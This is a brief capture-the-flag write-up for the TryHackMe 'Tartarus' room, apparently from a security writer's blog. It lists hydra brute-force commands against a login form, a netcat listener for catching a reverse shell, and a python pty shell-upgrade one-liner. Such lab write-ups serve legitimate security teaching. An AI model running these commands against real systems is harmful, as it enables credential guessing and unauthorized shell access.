TryHackMe: Tartarus

Tools and Commands Used to Solve this Room

Footprint and Scanning

Gaining Access

hydra -L userid -P credentials.txt <ip> http-post-form"/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:F=Incorrect username!" -V -F -u
hydra -l enox -P credentials.txt <ip> http-post-form "/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:F=Incorrect password!" -V -F -u
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash");'

Sana Qazi is a Technical Writer specialized in Information Security. She is a writer by day and a reader by night.